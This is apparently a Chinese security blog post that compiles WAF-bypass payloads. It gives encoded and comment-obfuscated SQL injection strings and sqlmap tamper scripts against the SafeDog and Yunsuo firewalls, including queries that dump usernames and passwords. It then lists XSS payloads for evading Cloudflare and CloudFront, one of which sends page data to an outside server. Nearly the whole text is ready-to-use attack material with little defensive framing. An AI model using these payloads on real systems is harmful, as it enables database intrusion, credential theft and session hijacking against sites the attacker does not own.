Bypass_WAF - SQLi and XSS

  • Bypass_WAF - SQLi and XSS已关闭评论
  • 13 views
  • A+
所属分类:安全文章

0x01 前言

整合一下Bypass Waf的一些Payload

# 备忘录:
https://github.com/Walidhossain010/WAF-bypass-xss-payloads
https://github.com/7hang/bypass-/tree/master/%E9%98%B2%E7%81%AB%E5%A2%99-bypass

0x02 WAF的绕过思路

1. 不同类型的编码

使用不同类型的编码和双重编码,这些编码和双重编码不受数据库服务器支持,但其他应用程序不支持在两者之间,它可以解码我们的输入并将其传递给数据库服务器。有时利用这种行为可以帮助我们绕过 WAF。

许多不同类型的编码,例如 URL 编码、十六进制、二进制、Unicode 等


or '1
|| '
1
null' || 'a'=_binary'a
1' || 'a'=x'61
1' && '0'=x'30
1' %26%26 %270%27%3dx'30
2' && 0.e1=_binary"0
1 or 1.e1=0b1010
'
 || 1 like 1
'-'
"-"
' || 2 not like 1
110 or x'
30'=48
'
1'!=20
1 or 20!='
1'
2 and 2>0
3 || 0<1
12 || 0b1010<0b1011
0b11 || 0b1010x'
30'
1 or 0b1
2121/**/||21
111'
 or _binary'1
1 or 2121
1'
 or 12 rlike '1

2.双重编码举个例子

# 被WAF拦截的请求
/residetails.php?id=6145081 union select 1111,1222,1333&premflag=&searchcat=buy

# 双重编码
/residetails.php?id=6145081%2b%2575%256e%2569%256f%256e%2b%2573%2545%256c%2545%2563%2574%2b0x3133333731,1222,1333&premflag=&searchcat=buy

3.HTTP参数污染

举个例子

# HPP
/1.php?uid='union--+&uid=*/%0aselect 1&uid=2&uid=3&uid=4&uid=5&uid=6&uid=7&uid=8&uid=9&uid=10&uid=11&uid=12&uid=13&uid=14&uid=15&uid=16&uid=17&uid=18&uid='web.config'&uid=20&uid=21--

0x03 Bypass_Waf SQLi Payload

1.安全狗

Payload-1:
一:and 1=1 和 and 1=2  绕过
字符型+Mysql: 

' and 1=1--+
'
 and 1=2--+

' and %26%26 True--+
'
 and %26%26 False--+


二:order by 绕过
字符型+Mysql:
 ' /*!order*//**//*!by*/ 1--+
 
 '
 order/*!60000ghtwf01*/by 1--+
 
 
三:Union Select绕过
 字符型+Mysql:
 ' union/*!60000ghtwf01*/select 1,2,3--+
 
 '
 union/*!60000ghtwf01*/select 1,database(),3--+
 ' union/*!60000ghtwf01*/select 1,(database/**/()),3--+
 
 
 四:schema_name 绕过
字符型+Mysql:
'
 union/*!60000ghtwf01*/select 1, (select group_concat(/*!schema_name*/) from information_schema.schemata),3--+


五:table_name 绕过 
字符型+Mysql:
' union/*!60000ghtwf01*/select 1,(select group_concat(/*!table_name*/) from information_schema.tables where table_schema='security'),3--+


六:column_name 绕过
字符型+Mysql:
'
 union/*!60000ghtwf01*/select 1,(select group_concat(/*!column_name*/) from information_schema.columns where table_schema='security' %26%26 table_name=0x7573657273),3--+


七:绕过与 from 的结合查询字段内容
字符型+Mysql:
' union/*!60000ghtwf01*/select 1, (select group_concat(username,0x7e,password,0x7e) from. users),3--+



布尔盲注 --Mysql+字符型
查询数据库名长度:
'
 %26%26 length(database/**/())=8--+

查询第一个数据库名的第一个字母,过滤了 ascii(),使用 hex()
%27%20%26%26%20(hex(substr((select%20concat(/*!schema_name*/)%20from%20information_schema.schema
ta%20limit%200,1),1,1))=69)%20--+

查询表名的第一个字母,注意这里数据库名需要十六进制编码
%27%20%26%26%20(hex(substr((select%20concat(/*!table_name*/)%20from%20information_schema.tables%
20where%20/*!table_schema*/=0x7365637572697479%20limit%200,1),1,1))=65)%20--+

查询列名的第一个字母
%27%20%26%26%20(hex(substr((select%20concat(/*!column_name*/)%20from%20information_schema.column
s%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=
69)%20--+

查询字段第一个字母,限制了 select 与 from 结合使用 from.
%27%20%26%26%20(hex(substr((select%20username%20from.%20users%20limit%200,1),1,1))=74)%20--+



时间盲注
过滤了 sleep() 函数,使用 benchmark() 函数


奇怪的Payload
字符型+Mysql
爆数据库名:
'-ghtwf01()--+
 

 
Payload-2:
 安全狗-4.0
 字符型+Mysql
 一:and 1=1
 常规:'
 and 1=1-- -
 
 逻辑&:
 ' %26 1-- -
  '
 %26 0-- -
 ' %26 true-- -
 '
 %26 false-- -
  
 xor绕过:
 ' Xor 1-- -
 '
 Xor true-- -
 
 ' or length(database()=4)-- -
 '
 %26 (length(database/**/())=4)-- -
 ' %26 (ascii(@@version)=53)-- -
 
 '
 or -1=-1-- -
 ' or -0=-0-- -
 '
 or /*!1=1*/-- -
 
 and 和 or绕过
 /*!11440OR*/
 /*!11440AND*/
 
 order by 绕过
 order%23%0aby
 ' /*!order /*!/*/**/by*/1-- -
 '
 /*!order /*/*%/**/by*/1-- -
 ' /*!order /*!/*/**//**/by*/1-- -
 '
 /*!order /*!/*/**//*/**/by*/1-- -
  /*!11440order*/
  
  union select绕过
  ' /*!union/*!/*/**/*/select/**/1,2,3-- -
 '
 /*!11440union*/ /*!select/*!/*/**/*/-- -
 
 系统函数绕过
 version () #直接空格
 user%0a() #这个地方%0a~%20有很多,类似绕过空格
 database/**/() #注释符
 user/*!*/() #内敛注释

 函数名绕过
 /*!extractvalue/*!/*/**/*/
 /*!updatexml/*!/*/**/*/
 
 information_schema.*绕过
 Mysql>5.6.x Mysql>5.6.xmysql 库里增添了两个新表, 库里增添了两个新表,innodb_index_stats 和和 innodb_table_stats 这两个表是数据库自动设置的。 这两个表是数据库自动设置的。
 存储数据库和对应的数据表,安全狗没有对这两个表做检测

万能payload
#针对两个关键字连用或者函数 
/*!union/*!/*/**/*/select/**/
/*!database/*!/*/**/*/()/**/
/*!order/*!/*/**/*/by/**/
#针对单独的一个关键字 
/*!union/*!/*/**/*/ 
/*!updatexml/*!/*/**/*/ 
/*!extractvalue/*!/*/**/*/

tamper-1
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):

   if payload:
      payload=payload.replace("=","/*!*/=/*!*/")
      payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
      payload=payload.replace("AND","/*!AND/*!/*/**/*/")
      payload=payload.replace("OR","/*!OR/*!/*/**/*/")
      payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
      payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
      payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
      payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
      payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
      payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
      payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
      payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

 return payload
 
 
 tamper -2 
# coding=UTF-8 
# Desc: sqlmap_bypass_安全狗_tamper 
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):

if payload:
payload=payload.replace(" ","/*!*/")
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("AND","/*!*/AND/*!*/")
payload=payload.replace("UNION","union/*!88888cas*/")
payload=payload.replace("#","/*!*/#")
payload=payload.replace("USER()","USER/*!()*/")
payload=payload.replace("DATABASE()","DATABASE/*!()*/")
payload=payload.replace("--","/*!*/--")
payload=payload.replace("SELECT","/*!88888cas*/select")
payload=payload.replace("FROM","/*!99999c*//*!99999c*/from")
print payload

return payload
 
 
Payload-3
数字型+Mysql: 

一.union select绕过
1. SE/**/ LECT
2.union S%E%L%E%C%T 1,2,3,4,5 F%R%O%M admin 
3.id=(-1) UNION (SEL%E%CT 1,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from (admin))  
4.UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g JOIN (SELECT 8)h JOIN (SELECT 9)i JOIN (SELECT 10)j JOIN (SELECT 11)k JOIN (SELECT 12)l JOIN (SELECT 13)m JOIN (SELECT 14)n JOIN (SELECT 15)o JOIN (SELECT 16)p JOIN (SELECT 17)q JOIN (SELECT 18)r JOIN (SELECT 19)s)#

二. %00绕过
http://url/xxx.asp?id=1
变换成 http://url/xxx.asp?xxx.com=%00.&id=1 -->sqlmap



Payload-4
方法一:
%00绕过
xxx.asp?xxx=%00&id=sql 
xxx.asp?xxx=%00.&id=sql

方法二:
%绕过
在被过滤的关键词中添加 %

方法二:
%a绕过
id=1 un%aion sel%aect 1,2,3,4 fr%aom admin 


Payload-5
SQLServer + 数字型
a%nd exists (select * f%rom Manage_User)

2.云锁WAF

Apache/2.4.23
PHP/5.4
mysql 5

一:order by 绕过 
`order/*!10000by*/5 `  

二:union select 绕过
union  不拦截
select  不拦截
union select 拦截
union 各种字符 select 拦截
`union/*select*/ `不拦截

`union%20/*!10000all%20select*/%201,2,database/**/(),4,5`  

`union/*!10000all*//*!10000select+1,password,username*/,4,5%20from%20user`  



tamper:
# coding=UTF-8
# Desc: sqlmap bypass 云锁 tamper
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"
""

import re

from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW


def dependencies():
    pass


def tamper(payload, **kwargs):
    payload = payload.replace('ORDER''/*!00000order*/')
    payload = payload.replace('ALL SELECT''/*!00000all*/ /*!00000select')
    payload = payload.replace('CONCAT('"CONCAT/**/(")
    payload = payload.replace("--"" */--")
    payload = payload.replace("AND""%26%26")
    return payload

0x04 Bypass_Waf XSS Payload

1.Cloudflare xss

<a"/onclick=(confirm)()>Click Here!
Dec: <svg onload=prompt%26%230000000040document.domain)>
Hex: <svg onload=prompt%26%23x000000028;document.domain)>
xss'"
><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
<a href="j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;&lpar;a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;(document.domain)&rpar;">X</a>
<--%253cimg%20onerror=alert(1)%20src=a%253e --!>
<a+HREF='%26%237javascrip%26%239t:alert%26lpar;document.domain)'>
javascript:{ alert`0` }
1'"><img/src/onerror=.1|alert``>
<img src=x onError=import('
//1152848220/')>
%2sscript%2ualert()%2s/script%2u
<svg on onload=(alert)(document.domain)>
<img ignored=() src=x onerror=prompt(1)>
<svg onx=() onload=(confirm)(1)>
“><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
<svg on =i onload=alert(domain) (working)
<svg/onload=location/**/='
https://your.server/'+document.domain>
<svg onx=() onload=window.alert?.()> (working)
test",prompt%0A/*HelloWorld*/(document.domain) (working)- Brutelogic
"onx+%00+onpointerenter%3dalert(domain)+x" (working)- Brutelogic
"><svg%20onload=alert%26%230000000040"1")> (working)- IamRenganathan
%27%09);%0d%0a%09%09[1].find(alert)//
"><img src=1 onmouseleave=print()> - @itsgeekymonk

2.cloudfront xss

">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(`cloudfrontbypass`)//'>
"
>'><details/open/ontoggle=confirm('XSS')>
6'
%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/
&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

0x05 结尾

通过这些从备忘录里的Payload,尝试组合属于自己的Bypass_WAF Payload,这是一个耗费时间的苦活,技术要求其实并不高。

相关推荐: 一篇文章学会格式化串漏洞

文章介绍本文主要讲解格式化串漏洞1.格式化串漏洞介绍    格式化串漏洞产生于数据输出函数中对输出格式解析的缺陷,其实这也是比较简单的一种漏洞    首先来看一段特别简单的代码,这…